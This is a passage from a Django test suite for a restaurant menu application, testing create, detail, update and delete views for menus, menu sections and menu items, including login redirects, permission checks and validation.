def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_intro_text(self):
self.assertIn(
rf"Please enter the information for '{self.test_menu.name}'",
self.html)
def test_template_form_contains_proper_initial_data_name(self):
self.assertIn(rf'value="{self.test_menu.name}"', self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
old_menu_name = self.test_menu.name
updated_menu_name = f'Updated {self.test_menu}'
# attempt to update self.test_menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_restaurant.pk,
'name': updated_menu_name})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# self.test_menu is unchanged
self.test_menu.refresh_from_db()
self.assertEqual(self.test_menu.name, old_menu_name)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
old_menu_name = self.test_menu.name
updated_menu_name = f'Updated {self.test_menu}'
# attempt to update self.test_menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_menu.restaurant.pk,
'name': updated_menu_name})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# self.test_menu is unchanged
self.test_menu.refresh_from_db()
self.assertEqual(self.test_menu.name, old_menu_name)
def test_request_post_method_authorized_user(self):
updated_menu_name = f'Updated {self.test_menu}'
updated_menu_slug = slugify(updated_menu_name)
# get menu count before POST
old_menu_count = Menu.objects.count()
# update self.test_menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_menu.restaurant.pk,
'name': updated_menu_name})
self.html = unescape(self.response.content.decode('utf-8'))
# self.test_menu has been updated with new values
self.test_menu.refresh_from_db()
self.assertEqual(self.test_menu.name, updated_menu_name)
self.assertEqual(self.test_menu.slug, updated_menu_slug)
# user is redirected to menu_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(self.response.url, self.test_menu.get_absolute_url())
# menu_detail loads successfully and uses proper template
self.response = self.client.get(self.response.url)
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menu_detail.html')
# template contains new menu values
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menu.name}", self.html)
# template contains success_message
self.assertIn(
f"Menu Successfully Updated: {updated_menu_name}", self.html)
# menu count has not changed
updated_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, updated_menu_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menu_2 = self.test_restaurant.menu_set.create(
name='{self.test_menu} 2')
old_menu_name = self.test_menu.name
old_menu_slug = self.test_menu.slug
updated_menu_name = self.test_menu_2.name
# attempt to update self.test_menu via POST
self.response = self.client.post(self.current_test_url, {
'restaurant': self.test_menu.restaurant.pk,
'name': updated_menu_name})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# self.test_menu still has original values
self.test_menu.refresh_from_db()
self.assertEqual(self.test_menu.name, old_menu_name)
self.assertEqual(self.test_menu.slug, old_menu_slug)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menu_update', kwargs={
'restaurant_slug':
self.test_menu.restaurant.slug if i != 0 else 'bad-slug',
'menu_slug': self.test_menu.slug if i != 1 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuDeleteViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menu = f.MenuFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menu_delete', kwargs={
'restaurant_slug': cls.test_menu.restaurant.slug,
'menu_slug': cls.test_menu.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuDeleteView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DeleteView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
def test_attribute_model_name(self):
self.assertEqual(
self.view.model.__name__, 'Menu')
def test_attribute_success_message(self):
self.assertEqual(
self.view.success_message, "The '%(name)s' menu has been deleted.")
# delete()
def test_method_delete_contains_proper_success_message(self):
self.assertEqual(
self.view.success_message % self.test_menu.__dict__,
f"The '{self.test_menu.name}' menu has been deleted.")
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menu)
# get_success_url()
def test_method_get_success_url(self):
self.assertEqual(
self.view.get_success_url(),
self.test_menu.restaurant.get_absolute_url())
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_confirm_text(self):
self.assertIn(
fr"Are you sure you want to delete the "
fr"'{self.test_menu.name}' menu?", self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
# get menu count before POST
old_menu_count = Menu.objects.count()
# attempt to delete self.test_menu
self.response = self.client.post(self.current_test_url)
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menu count has not changed
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, new_menu_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# get menu count before attempting POST
old_menu_count = Menu.objects.count()
# attempt to delete self.test_menu via POST
self.response = self.client.post(self.current_test_url)
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menu count has not changed
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count, new_menu_count)
def test_request_post_method_authorized_user(self):
# get menu count before attempting POST
old_menu_count = Menu.objects.count()
# menu_detail contains test_menu.name before delete
self.response = self.client.get(
self.test_menu.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menu.name}", self.html)
# delete self.test_menu via POST
self.response = self.client.post(self.current_test_url)
# user is redirected to restaurant_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url, self.test_menu.restaurant.get_absolute_url())
# restaurant_detail loads successfully and contains success_message
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(
self.response, 'restaurants/restaurant_detail.html')
self.assertIn(
rf"The '{self.test_menu.name}' menu has been deleted.",
self.html)
# restaurant_detail does not contain menu name after refresh
self.response = self.client.get(
self.test_menu.restaurant.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertNotIn(f"{self.test_menu.name}", self.html)
# object no longer exists
with self.assertRaises(Menu.DoesNotExist):
self.test_menu.refresh_from_db()
# menu count decreased by 1
new_menu_count = Menu.objects.count()
self.assertEqual(old_menu_count - 1, new_menu_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menu.delete()
self.response = self.client.post(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menu_delete', kwargs={
'restaurant_slug':
self.test_menu.restaurant.slug if i != 0 else 'bad-slug',
'menu_slug': self.test_menu.slug if i != 1 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuSectionCreateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menu = f.MenuFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menusection_create', kwargs={
'restaurant_slug': cls.test_menu.restaurant.slug,
'menu_slug': cls.test_menu.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuSectionCreateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'CreateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuSection')
def test_form_class(self):
self.assertEqual(
self.view.form_class.__name__, 'MenuSectionForm')
def test_success_message(self):
self.assertEqual(
self.view.success_message, "Menu Section Created: %(name)s")
# dispatch()
def test_method_dispatch_self_has_attribute_menu(self):
self.assertTrue(hasattr(self.view, 'menu'))
def test_method_dispatch_self_has_correct_menu(self):
self.assertEqual(self.view.menu, self.test_menu)
# get_context_data()
def test_context_contains_menu(self):
self.assertTrue('menu' in self.context)
def test_context_contains_correct_menu(self):
self.assertEqual(self.context['menu'], self.test_menu)
def test_context_contains_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_contains_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Create')
# get_initial()
def test_method_get_initial(self):
self.assertEqual(self.view.get_initial(), {'menu': self.test_menu})
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_form_text(self):
self.assertIn(
"Please enter the information for your menu section:",
self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
# get menusection count before attempting to post data
old_menusection_count = MenuSection.objects.count()
# attempt to create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menu.pk,
'name': c.TEST_MENUSECTION_NAME})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menusection count should be unchanged
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, new_menusection_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# get menusection count before attempting to post data
old_menusection_count = MenuSection.objects.count()
# attempt to create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menu.pk,
'name': c.TEST_MENUSECTION_NAME})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menusection count should be unchanged
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, new_menusection_count)
def test_request_post_method_authorized_user(self):
# get menusection count before attempting POST
old_menusection_count = MenuSection.objects.count()
# create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menu.pk,
'name': c.TEST_MENUSECTION_NAME})
self.html = unescape(self.response.content.decode('utf-8'))
# user is redirected to new menusection_detail
new_menusection = MenuSection.objects.get(
menu=self.test_menu,
slug=slugify(c.TEST_MENUSECTION_NAME))
self.assertEqual(self.response.status_code, 302)
self.assertEqual(self.response.url, new_menusection.get_absolute_url())
# page loads successfully and uses proper template and expected text
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menusection_detail.html')
self.assertIn("This section has no items.", self.html)
# template contains success_message
self.assertIn(
f"Menu Section Created: {new_menusection.name}", self.html)
# menusection count increased by 1
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count + 1, new_menusection_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
original_menusection = MenuSection.objects.create(
menu=self.test_menu,
name=c.TEST_MENUSECTION_NAME)
# get menusection count before attempting to post data
old_menusection_count = MenuSection.objects.count()
# attempt to create duplicate menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': original_menusection.menu.pk,
'name': original_menusection.name})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# menusection count has not changed
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, new_menusection_count)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse(
'menus:menusection_create', kwargs={
'restaurant_slug':
self.test_menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menu.slug if i != 1 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuSectionDetailViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menusection = \
f.MenuSectionFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menusection_detail', kwargs={
'restaurant_slug': cls.test_menusection.menu.restaurant.slug,
'menu_slug': cls.test_menusection.menu.slug,
'menusection_slug': cls.test_menusection.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(self.view.__class__.__name__, 'MenuSectionDetailView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DetailView')
def test_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuSection')
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menusection)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.assertEqual(self.response.status_code, 200)
# template
def test_template_unauthorized_user_cannot_view_auth_links(self):
self.client.logout()
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.assertNotIn('auth-links', self.html)
def test_template_authorized_user_can_view_auth_links(self):
self.assertIn('auth-links', self.html)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse(
'menus:menusection_detail', kwargs={
'restaurant_slug':
self.test_menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menusection.slug if i != 2 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuSectionUpdateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
def setUp(self):
self.test_menusection = \
f.MenuSectionFactory(admin_users=[self.restaurant_admin_user])
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.current_test_url = reverse('menus:menusection_update', kwargs={
'restaurant_slug': self.test_menusection.menu.restaurant.slug,
'menu_slug': self.test_menusection.menu.slug,
'menusection_slug': self.test_menusection.slug})
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuSectionUpdateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'UpdateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuSection')
def test_form_class(self):
self.assertEqual(
self.view.form_class.__name__, 'MenuSectionForm')
def test_success_message(self):
self.assertEqual(
self.view.success_message,
"Menu Section Successfully Updated: %(name)s")
# get_context_data()
def test_context_has_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_has_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Update')
def test_context_has_menu(self):
self.assertTrue('menu' in self.context)
def test_context_has_correct_menu(self):
self.assertEqual(self.context['menu'], self.test_menusection.menu)
def test_context_has_menusection(self):
self.assertTrue('menusection' in self.context)
def test_context_has_correct_menusection(self):
self.assertEqual(self.context['menusection'], self.test_menusection)
# get_initial()
def test_method_get_initial(self):
self.assertEqual(
self.view.get_initial(), {
'menu': self.test_menusection.menu,
'name': self.test_menusection.name})
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menusection)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username,
password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_intro_text(self):
self.assertIn(
"Please enter the information for "
rf"'{self.test_menusection.name}'",
self.html)
def test_template_form_contains_proper_initial_data_name(self):
self.assertIn(rf'value="{self.test_menusection.name}"', self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
old_menusection_name = self.test_menusection.name
updated_menusection_name = f'New {self.test_menusection.name}'
# attempt to update self.test_menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menusection.menu.pk,
'name': updated_menusection_name})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# self.test_menusection is unchanged
self.test_menusection.refresh_from_db()
self.assertEqual(self.test_menusection.name, old_menusection_name)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
old_menusection_name = self.test_menusection.name
updated_menusection_name = f'New {self.test_menusection.name}'
# attempt to update self.test_menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menusection.menu.pk,
'name': updated_menusection_name})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# self.test_menusection is unchanged
self.test_menusection.refresh_from_db()
self.assertEqual(self.test_menusection.name, old_menusection_name)
def test_request_post_method_authorized_user(self):
updated_menusection_name = f'New {self.test_menusection.name}'
# get menusection count before attempting POST
old_menusection_count = MenuSection.objects.count()
# update self.test_menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menusection.menu.pk,
'name': updated_menusection_name})
self.html = unescape(self.response.content.decode('utf-8'))
# self.test_menusection has been updated with new values
self.test_menusection.refresh_from_db()
self.assertEqual(self.test_menusection.name, updated_menusection_name)
self.assertEqual(
self.test_menusection.slug, slugify(updated_menusection_name))
# user is redirected to menusection_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url, self.test_menusection.get_absolute_url())
# menusection_detail loads successfully and uses proper template
self.response = self.client.get(self.response.url)
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menusection_detail.html')
# template contains new menusection values
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menusection.name}", self.html)
# template contains success_message
self.assertIn(
f"Menu Section Successfully Updated: {updated_menusection_name}",
self.html)
# menusection count has not changed
updated_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, updated_menusection_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menusection_2 = \
self.test_menusection.menu.menusection_set.create(
name=f'New {self.test_menusection.name}')
old_menusection_name = self.test_menusection.name
old_menusection_slug = self.test_menusection.slug
updated_menusection_name = self.test_menusection_2.name
# attempt to update self.test_menusection via POST
self.response = self.client.post(self.current_test_url, {
'menu': self.test_menusection.menu.pk,
'name': updated_menusection_name})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# self.test_menusection still has original values
self.test_menusection.refresh_from_db()
self.assertEqual(self.test_menusection.name, old_menusection_name)
self.assertEqual(self.test_menusection.slug, old_menusection_slug)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse(
'menus:menusection_update',
kwargs={
'restaurant_slug':
self.test_menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menusection.slug if i != 2 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuSectionDeleteViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menusection = \
f.MenuSectionFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menusection_delete', kwargs={
'restaurant_slug': cls.test_menusection.menu.restaurant.slug,
'menu_slug': cls.test_menusection.menu.slug,
'menusection_slug': cls.test_menusection.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuSectionDeleteView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DeleteView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
def test_attribute_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuSection')
def test_attribute_success_message(self):
self.assertEqual(
self.view.success_message,
"'%(name)s' has been deleted from the menu.")
# delete()
def test_method_delete_contains_proper_success_message(self):
self.assertEqual(
self.view.success_message % self.test_menusection.__dict__,
f"'{self.test_menusection.name}' has been deleted from the menu.")
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menusection)
# get_success_url()
def test_method_get_success_url(self):
self.assertEqual(
self.view.get_success_url(),
self.test_menusection.menu.get_absolute_url())
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_confirm_text(self):
self.assertIn(
fr"Are you sure you want to delete '{self.test_menusection.name}' "
f"from the '{self.test_menusection.menu.name}: "
fr"{self.test_menusection.name}' menu?", self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
# get menusection count before attempting to post data
old_menusection_count = MenuSection.objects.count()
# attempt to delete self.test_menusection via POST
self.response = self.client.post(self.current_test_url)
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menusection count has not changed
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, new_menusection_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# get menusection count before attempting to post data
old_menusection_count = MenuSection.objects.count()
# attempt to delete self.test_menusection via POST
self.response = self.client.post(self.current_test_url)
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menusection count has not changed
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count, new_menusection_count)
def test_request_post_method_authorized_user(self):
# get menusection count before attempting POST
old_menusection_count = MenuSection.objects.count()
# menusection_detail contains test_menusection.name before delete
self.response = self.client.get(
self.test_menusection.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menusection.name}", self.html)
# delete self.test_menusection via POST
self.response = self.client.post(self.current_test_url)
# user is redirected to menu_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url, self.test_menusection.menu.get_absolute_url())
# menusection_detail loads successfully and contains success_message
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menu_detail.html')
self.assertIn(
rf"'{self.test_menusection.name}' has been deleted from the menu.",
self.html)
# menu_detail does not contain menusection name after refresh
self.response = self.client.get(
self.test_menusection.menu.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertNotIn(f"{self.test_menusection.name}", self.html)
# object no longer exists
with self.assertRaises(MenuSection.DoesNotExist):
self.test_menusection.refresh_from_db()
# menusection count decreased by 1
new_menusection_count = MenuSection.objects.count()
self.assertEqual(old_menusection_count - 1, new_menusection_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menusection.delete()
self.response = self.client.post(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse(
'menus:menusection_delete',
kwargs={
'restaurant_slug':
self.test_menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menusection.slug if i != 2 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuItemCreateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menusection = \
f.MenuSectionFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menuitem_create', kwargs={
'restaurant_slug': cls.test_menusection.menu.restaurant.slug,
'menu_slug': cls.test_menusection.menu.slug,
'menusection_slug': cls.test_menusection.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuItemCreateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'CreateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuItem')
def test_form_class(self):
self.assertEqual(
self.view.form_class.__name__, 'MenuItemForm')
def test_success_message(self):
self.assertEqual(
self.view.success_message, "Menu Item Created: %(name)s")
# dispatch()
def test_method_dispatch_self_has_attribute_menusection(self):
self.assertTrue(hasattr(self.view, 'menusection'))
